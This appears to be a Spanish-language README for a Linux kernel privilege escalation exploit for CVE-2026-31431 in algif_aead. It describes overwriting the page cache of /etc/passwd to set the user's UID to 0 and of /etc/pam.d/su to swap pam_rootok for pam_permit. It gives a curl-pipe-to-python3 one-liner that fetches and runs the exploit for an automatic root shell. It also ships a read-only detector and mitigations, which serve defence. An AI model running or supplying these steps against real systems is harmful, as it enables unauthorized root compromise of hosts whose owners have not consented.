
Exploit de escalada de privilegios locales para CVE-2026-31431 en el algif_aead del kernel de Linux, que utiliza splice para sobrescribir la caché de páginas y obtener acceso root. Incluye un detector de solo lectura.
CVE-2026-31431 es una vulnerabilidad de escalada de privilegios local en el subsistema algif_aead del kernel de Linux. La implementación AEAD authencesn realiza un descifrado in-place mediante splice(2), colocando una página de la caché de páginas en el scatterlist de destino. Un valor de 4 bytes del AAD (seqno_lo) se escribe de vuelta en esa página de la caché de páginas antes de que se verifique la etiqueta de autenticación, lo que permite a un usuario sin privilegios sobrescribir bytes arbitrarios de la caché de páginas del kernel de cualquier archivo legible por todos.
Vulnerable desde: kernel 4.14 (agosto de 2017) — cuando se introdujo authesn en algif_aead
Correcciones publicadas para: solo las líneas estables 6.12, 6.17 y 6.18
Sin parche permanente: kernels 4.14–6.11 (EOL; no se emitirá ningún backport)
Primitivas requeridas: socket AF_ALG, cifrado authencesn(hmac(sha256),cbc(aes)), splice(2) en un fd de socket AF_ALG
Impacto: escalada de privilegios local a root — totalmente automatizada, sin contraseña requerida
El exploit aplica dos parches a la caché de páginas en secuencia y luego ejecuta su automáticamente:
Parche de /etc/passwd — abre el archivo (legible por todos), llena su caché de páginas y luego usa la primitiva de splice de authencesn para cambiar el campo UID de 4 dígitos del usuario en ejecución a 0000. Después del parche, getpwnam() reporta al usuario como UID 0.
Parche de /etc/pam.d/su — pam_rootok.so y pam_permit.so tienen ambos exactamente 13 caracteres. Dos escrituras de 4 bytes reemplazan pam_rootok.so por pam_permit.so en la caché de páginas de la configuración de PAM. Dado que pam_permit siempre devuelve PAM_SUCCESS, la línea existente auth sufficient se activa inmediatamente — no se muestra ningún prompt de contraseña.
No se producen escrituras en disco en ningún momento. Eliminar la caché de páginas (echo 3 > /proc/sys/vm/drop_caches) o reiniciar revierte completamente ambos parches.
Solo para pruebas autorizadas. Ejecute únicamente en hosts que le pertenezcan o para los que tenga un compromiso explícito de evaluación.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
Se devuelve un shell root automáticamente — sin necesidad de contraseña.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG habilitado (estándar en la mayoría de las distribuciones)authencesn(hmac(sha256),cbc(aes)) cargable (estándar en la mayoría de las distribuciones)test_cve_2026_31431.py es un detector seguro y de solo lectura incluido en este repositorio. Ejercita la primitiva de splice de algif_aead contra un archivo centinela desechable que crea en un directorio temporal — nunca se toca ningún archivo del sistema. Imprime un veredicto y sale con un código bien definido:
| Código de salida | Significado |
|---|---|
0 | No vulnerable — no se cumplió la condición previa o la caché de páginas no fue modificada |
Ejecútelo:
# Una línea (sin instalación requerida)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"
# O desde un clon local
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"
Ejemplo de salida en un kernel vulnerable:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
Ejemplo de salida en un kernel parcheado:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
algif_aead mediante /etc/modprobe.d: install algif_aead /bin/falseAF_ALG con seccomp o política LSM.net/tls + crypto/algif_aead — aislamiento del scatterlist de destino in-place de authencesnShell automático — el script ejecuta su <usuario>. PAM autentica sin contraseña (paso 2), luego setuid(0) tiene éxito porque getpwnam() reporta UID 0 (paso 1). Se devuelve un shell root sin interacción del usuario.
1 | Error de prueba (p. ej., AF_ALG no disponible, splice no soportado) |
2 | VULNERABLE — los bytes marcadores llegaron a la página de caché de páginas con splice |